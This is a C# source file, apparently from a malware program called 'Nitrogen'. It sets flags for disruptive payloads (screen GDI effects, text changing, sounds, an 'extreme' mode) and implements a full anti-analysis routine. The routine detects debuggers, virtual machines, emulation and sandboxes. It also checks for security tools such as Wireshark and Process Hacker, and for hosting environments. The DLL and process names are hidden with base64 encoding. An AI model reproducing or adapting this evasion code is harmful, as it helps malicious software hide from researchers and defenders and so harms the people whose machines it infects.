using System;
using System.Diagnostics;
using System.Linq;
using System.Management;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
using static Nitrogen.Dll_Imports;

namespace Nitrogen
{
    internal class variables
    {
        public static bool gdi_payloads = true;
        public static bool window_shake = false;
        public static bool textchanger = true;
        //public static bool drawcursor = false;
        public static bool mouse = false;
        public static bool keyboard = false;
        public static bool iconmove = false;
        public static bool sounds = true;

        public static bool extreme = false;
        public static bool AlreadyRunning()
        {
            Process[] processes = Process.GetProcesses();
            Process currentProcess = Process.GetCurrentProcess();
            foreach (Process process in processes)
            {
                try
                {
                    if (process.Modules[0].FileName == Assembly.GetExecutingAssembly().Location && currentProcess.Id != process.Id)
                    {
                        return true;
                    }
                }
                catch
                {
                }
            }
            return false;
        }
        private static bool IsDebuggerAttached()
        {
            bool flag = false;
            bool result;
            try
            {
                CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref flag);
                result = flag;
            }
            catch
            {
                result = false;
            }
            return result;
        }
        private static bool IsVirtualMachine()
        {
            using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
            {
                try
                {
                    using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
                    {
                        foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
                        {
                            if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" && managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) || managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") || managementBaseObject["Model"].ToString() == "VirtualBox")
                            {
                                return true;
                            }
                        }
                    }
                }
                catch
                {
                    return true;
                }
            }
            foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
            {
                if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware") && managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
                {
                    return true;
                }
            }
            return false;
        }
        private static bool IsEmulated()
        {
            try
            {
                long ticks = DateTime.Now.Ticks;
                Thread.Sleep(10);
                if (DateTime.Now.Ticks - ticks < 10L)
                {
                    return true;
                }
            }
            catch
            {
            }
            return false;
        }
        private static bool IsSandBoxie()
        {
            string[] array = new string[]
            {
                Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw=")),
                Encoding.UTF8.GetString(Convert.FromBase64String("U3hJbi5kbGw=")),
                Encoding.UTF8.GetString(Convert.FromBase64String("U2YyLmRsbA==")),
                Encoding.UTF8.GetString(Convert.FromBase64String("c254aGsuZGxs")),
                Encoding.UTF8.GetString(Convert.FromBase64String("Y21kdnJ0MzIuZGxs"))
            };
            for (int i = 0; i < array.Length; i++)
            {
                if (GetModuleHandle(array[i]).ToInt32() != 0)
                {
                    return true;
                }
            }
            return false;
        }
        private static bool IsBlacklistedProcessesRunning()
        {
            Process[] processes = Process.GetProcesses();
            string[] source = new string[]
            {
                Encoding.UTF8.GetString(Convert.FromBase64String("cHJvY2Vzc2hhY2tlcg==")),
                Encoding.UTF8.GetString(Convert.FromBase64String("bmV0c3RhdA==")),
                Encoding.UTF8.GetString(Convert.FromBase64String("bmV0bW9u")),
                Encoding.UTF8.GetString(Convert.FromBase64String("dGNwdmlldw==")),
                Encoding.UTF8.GetString(Convert.FromBase64String("d2lyZXNoYXJr")),
                Encoding.UTF8.GetString(Convert.FromBase64String("ZmlsZW1vbg==")),
                Encoding.UTF8.GetString(Convert.FromBase64String("cmVnbW9u")),
                Encoding.UTF8.GetString(Convert.FromBase64String("Y2Fpbg=="))
            };
            foreach (Process process in processes)
            {
                if (source.Contains(process.ProcessName.ToLower()))
                {
                    return true;
                }
            }
            return false;
        }
        private static bool IsHosted()
        {
            try
            {
                return new WebClient().DownloadString(Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovL2lwLWFwaS5jb20vbGluZS8/ZmllbGRzPWhvc3Rpbmc="))).Contains("true");
            }
            catch
            {
            }
            return false;
        }
        public static bool IsAnalyzed()
        {
            return IsHosted() || IsSandBoxie() || IsVirtualMachine() ||IsDebuggerAttached() || IsEmulated() || IsBlacklistedProcessesRunning();
        }
    }
}